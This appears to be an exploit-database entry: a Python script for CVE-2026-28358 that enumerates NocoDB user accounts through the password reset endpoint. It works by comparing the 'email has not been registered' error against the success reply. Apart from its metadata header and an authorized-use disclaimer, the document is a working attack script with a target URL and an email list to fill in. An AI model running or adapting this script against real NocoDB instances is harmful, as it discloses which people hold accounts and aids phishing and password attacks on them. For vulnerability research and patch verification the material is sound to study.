#!/usr/bin/env python3 # Exploit Title: NocoDB User Enumeration via Password Reset Endpoint # CVE: CVE-2026-28358 # Date: 2026-03-04 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://nocodb.com # Software Link: https://github.com/nocodb/nocodb # Affected: NocoDB <= 0.301.2 # Tested on: NocoDB 0.301.0 / 0.301.2 # Category: Webapps # Platform: Linux / Windows / Docker # Exploit Type: Remote # CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) # Description: Unauthenticated user enumeration via timing / response difference # in the password reset endpoint (/api/v2/auth/password/forgot). # Registered emails return success message while unregistered ones # return specific error "Your email has not been registered." # Fixed in: 0.301.3 # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # # Options: # -- Modify the base_url and emails list below # # Notes: # • Only for authorized security testing / educational purposes # • Do not use against systems you do not own or have explicit permission to test # # How to Use # # Step 1: Update base_url to point to your target NocoDB instance # Step 2: Modify or replace the emails list with targets to check # # ──────────────────────────────────────────────── import requests import json base_url = "http://<NOCODB_HOST>/api/v2/auth/password/forgot" emails = [ "[email protected]", "[email protected]", "[email protected]", "[email protected]" ] headers = { "Content-Type": "application/json" } for email in emails: payload = { "email": email } try: response = requests.post(base_url, headers=headers, data=json.dumps(payload)) print(f"Email: {email}") print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if "Your email has not been registered" in response.text: print("Result: Unregistered\n") else: print("Result: Registered (or success message)\n") except Exception as e: print(f"Error for {email}: {e}\n")